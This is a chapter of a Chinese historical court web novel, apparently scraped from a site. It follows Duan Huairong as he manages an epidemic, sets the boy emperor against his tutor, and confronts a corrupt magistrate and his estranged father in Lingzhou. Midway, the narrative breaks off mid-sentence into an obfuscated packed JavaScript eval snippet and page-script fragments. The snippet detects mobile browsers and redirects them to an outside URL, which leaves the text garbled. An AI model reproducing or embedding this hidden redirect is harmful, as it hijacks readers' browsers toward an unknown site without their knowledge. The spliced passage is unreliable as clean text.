在段怀容的督促下，太医署三天出了十数张药方，其中两张方子已经用到了病人身上。
防治初期，效果并不显著。尤其是京南，劳役在此之前过分聚集，又体弱多病，所以患病人数一直在增加。
一日清晨，忽有消息传来，说京南劳役集体于繁虚楼下跪拜，不肯用药医治，反而在忏悔罪责。
细问之下才知晓，那些劳役不知从哪里听说，是因他们修建繁虚楼不够诚心尽力，才引得众神降下灾祸。
段怀容闻之暗怒。
大灾之中最易谣言横生，这座繁虚楼还未建成便已经能如此蛊惑人心。若是完成之后，吕伯晦稍加利用便能以神鬼之说令百姓朝拜。
与此同时，已经开始有人在朝中参段怀容治疫不利，引起京南动乱。
无数双眼睛都在盯着，段怀容前有黎民百姓，后有满背刀剑随时落下。
他举步维艰，却又不得不向前。
眼下境况，任何奏折与他来说都如同废纸。朝官参他也好，吕伯晦算计也罢，只要他还能调派人手，那便都不能影响他分毫。
朝官虽参他，但却无一人敢站出来接手这件事。吕伯晦默不作声，似乎并不撺掇小皇帝收了他大权。
段怀容明知其心怀鬼胎，却已然没时间理会。
近二十天时间，段怀容日夜不息。调配补给、记录药效，每日死了多少人，又是否有治愈的病人，他都在无时无刻地关注。
一时间，他书案上的折子，比小皇帝龙案上的还要多。
在此期间，秦独闻讯寄回来过信件。但段怀容只有心神写了[不必担心，保重三军]之字。
他知道，秦独在前线也艰难，便不再诉说苦衷。
二月中旬，京南疫病终于不再扩散，患病人数已经连续四五日没有大规模增长。城内除了少许病例，其他都稳定下来。
段怀容肉眼可见的消减，暮色下在书案边撑着额头，合眸歇息。
“段先生...”来的户部小官不忍大声将人吵醒，却又不得不为急务开口：“段先生，岭州急报。”
轻和的呼唤中，段怀容有了神思。他抬手，等人将信件拆好递到他手里，才缓缓睁了眼去看。
这段时间，哪里来的都是急报，已经不必心急如焚了。
信纸映入眼帘，其上的字迹他觉着熟悉，即便时隔许久没看到，也忘不掉的熟悉。
他挪动目光去看桌上的信封，果不其然在上边见着了[岭州长史段越]的字样。
是他父亲的来信。
信中控诉岭州叛军横行，疫病难治。而且各县县令都说赈灾粮不足，不肯开仓放粮，目前各地百姓饥馁不堪，请朝廷派人去协理。
段怀容浏览后讥讽一笑，腹诽真是一如既往的窝囊。
一州长史竟被架空，震慑不住当地县令。
不过想来也是，岭州现在义军势大，其实诸多事情已经不在官府管控之内。各地县令望风也便做起地头蛇，将粮仓据为己有。
自从疫病以来，岭州属于鞭长莫及之地。虽然已经命当地义军按照律例治理，但到底没有亲眼看看情况。
况且，那里还有刁官不肯放粮。
段怀容思虑，决定亲自回去一趟。踏一踏他阔别许久的家乡，看一看他父亲是如何治理州县的。
趁着天色未完全暗下，段怀容进宫去见了小皇帝。
现在他是驻京办事的官员，出京自然要请皇命。
他到时，勤政殿里空荡，只有小皇帝自己愁眉苦脸地坐在案后，草草浏览各种折子。
“陛下，段侍郎到了。”内侍细声细语通秉。
小皇帝闻声即刻抬头，眼睛红红的。他现在见段怀容如同见救星，神色里满是迫切。
段怀容揖礼道：“下官见过陛下。”
小皇帝招手，示意自己身边的软垫：“段先生坐到这里来。”
“陛下怎么了，看着不大高兴。”段怀容整理衣摆跪坐，他温和时毫无锐利，令人止不住地想要亲近。
这间大殿太空旷了，空旷得可以令任何一个独处的孩子害怕。
小皇帝揉搓着奏折，犹豫半晌终于倾吐委屈：“近些日子，太傅总是斥责朕。说朕...朕不该将大权交由段先生。”
他说着怯生生抬眼观察，很怕段怀容也生气：“可是，可是朕真的害怕疫病传进来，害怕亡国。朕还觉着自己没什么错，段先生也做得很好...”
段怀容笑笑，安抚道：“陛下您才是一国之君，太傅不过是教导辅佐罢了，不必畏惧。”
听了苦水，他可不会为吕伯晦开脱，反要再给人插上一刀。
“朕...朕是一国之君。”小皇帝自顾自地嘟囔着。
段怀容点到为止，说起此行正事：“陛下，刚才庆州来了急报，说当地疫病情况仍不明朗，赈灾粮也周转不开。下官想去一趟岭州，亲自去处理一下。”
他声音徐徐：“岭州乃下官家乡，下官自当尽心竭力。”
小皇帝没做过主，这会儿犹豫不定：“这...这朕要问过太傅吧...”
段怀容眼神柔和，引导着：“陛下觉着下官去岭州这件事，对不对？”
小皇帝现在依赖段怀容，也觉着段怀容治理得不错，自然点头肯定。
“那陛下做自己认为对的事情便好。”段怀容没有吕伯晦的阴狠，四周气氛和畅。
小皇帝听入了神，下意识接了句：“可太傅...”
“陛下，您才是一国之君。”段怀容打断，却因声音轻轻而并不突兀：“太傅为您臣子，不过是辅佐罢了。”
小皇帝握紧了拳头，紧迫地呼吸着，半晌重复着：“对，朕是...是一国之君....太傅不该总是训斥朕。”
段怀容笑笑，又给予肯定的鼓励目光。
解决问题，自要解决根源，只要挑拨了小皇帝与吕伯晦，魏朝分裂便更近一步。
当晚，段怀容带着皇帝的出京巡查谕令回了侯府，准备连夜出城。除此之外，他还请了谕令，将京内后续治理之事交由乔谨主理。
他知道，明天清晨吕伯晦得知这件事后，定然会对小皇帝勃然大怒。但他骂得越狠，小皇帝越是会与他离心。
岭州距京城八百里，段怀容一行人走官道和驿站，五日急行抵达岭州。
这是段怀容自去年春日离开后，第一次踏足这里。
县城里的街景近乎残破，百姓枯瘦无力，比冀州水患的时候还要不忍直视。他环顾，心头点点阵痛。
一阵冷风，吹起不远处草棚里的热气，百姓端着碗围拢在周围张望。
依稀可辨是个施粥的粥棚。
段怀容到近前查看，锅里的景象入眼便引得他蹙眉。
黑漆漆的铁锅里清汤寡水，不知是菜还是草的烂叶子起伏。勺子搅动几下，才能晃起锅底几粒米。
即便如此，那些灾民百姓还是以期盼的目光望着。
那些浑浊哀弱又祈求的眼睛，仿佛一个个深渊般将段怀容看得透不过气。
“你们县令呢？”他睨着放粥的差役。
差役上下打量质问道：“你是谁？”
彭傲云见状亮出朝廷令牌道：“巡察使段怀容，奉皇命监理岭州军政！”
只是官职名一出来，那些差役便争先恐后地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333349|167685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跪下。一旁百姓不明就里，但大抵知道是官老爷，也便呼啦啦跪了一地。
“不知巡察使大人驾到，还请恕罪！”差役一个劲儿地磕头。
段怀容俯视，心底怒火不减。他不问第二遍，只是以冷目凝视着。
那些差役浑身发寒，这才慌了神地答道：“县令大人在县衙中，小的这便去叫！这便去！”
说话的差役连滚带爬起来，蹬上马便往城中疾驰。
锅里的水烧了大半，城中才辘轳驶来一辆马车。
差役掀了车帘，一位腰肥肚圆、面容红润的县令摇摆着下来。
段怀容注视着这人走近。
“回阳县县令曹沣，见过巡察使大人。”县令自报家门，而后款款施了一礼。
段怀容毫无寒暄，质问道：“赈灾粥里的米呢？是进了大人的腰包，还是肚子？”
岭州早已乱作一团，曹沣深知强龙不压地头蛇的道理，此刻有恃无恐：“巡察使大人说笑了，灾民多、粮食少，只有这些米了。”
“下官体恤百姓，还特意放了青菜进去。”
段怀容漠然：“赈灾粮是按人数给的，你是说朝廷给每一位百姓就发了三五粒米的粮草。”
粮食都是他调配的，有多少他最清楚。
面对如此责问，曹沣司空见惯地笑了笑并不应答，仿佛事实就是如此。
“放粮。”段怀容命令。
曹沣不疾不徐作揖道：“巡察使见谅，真的无粮可放了。”
段怀容更怒：“皇命！”
可曹沣反倒轻快下来，一副真诚道：“诶呦，就算是陛下亲自来，那也真是无赈灾粮可放了。”
“不信您问问这些百姓，前些日子是不是顿顿稠粥热馍？”
段怀容都不必问，就知道那些百姓根本不敢说实话。因为巡察使走后，他们还会在县令的威压下过活。
同时，他也惊诧偏远州县之官竟已如此目无朝廷，连皇命也能风轻云淡。
可偏偏现在这些百姓的命，便是握在这些地方官手里。
凋敝的景象与县令得逞的笑一同映在段怀容的眸子里，交织成深不见底的决绝，成为一场雷霆的序幕。
……
由这里再往东三十里，就是岭州府了。
时隔许久，段怀容回到了这座城，街景已经苍白得他不甚熟悉。
时间过午，他抵达了官邸。
还未到正门前，便见门前立了两个身着官袍的人，正在往这边张望。
即便相隔甚远，段怀容也能辨认这是他的父亲和弟弟，没什么变化。
但他却变得翻天覆地。
这一年，他先后经历数场大战，又在朝中游走斡旋。从疆场、朝堂历练了一身卓尔不群的气质。
面容由当时的清冷变得清贵，退去隐忍的书卷气，有一身从容不迫的威仪。
如今锦衣加身、骏马长剑，和之前判若两人。
段越与段怀煜秉承礼法不敢直视，只在看到人影后边即刻下拜等着。
马蹄哒哒接近府门，段怀容勒住缰绳，垂眸看了在马侧伏着的脊背，眸子淡漠得看不出一点感情。
“岭州长史段越，携主簿段怀煜，见过巡察使大人。”段越说得恭敬而小心翼翼。
段怀容神色中没有明显的喜恶，但语气讽刺：“地上凉，父亲别跪了吧。”
跪着的两人怔了怔，恍然抬头神色错愕。
方才远远看着，谁都没认出这是段怀容。
段怀煜瞳孔震动，惊得当即便想站起来：“段…”
“你跪着！”段怀容居高临下冷冷一句，有不可冒犯的威严。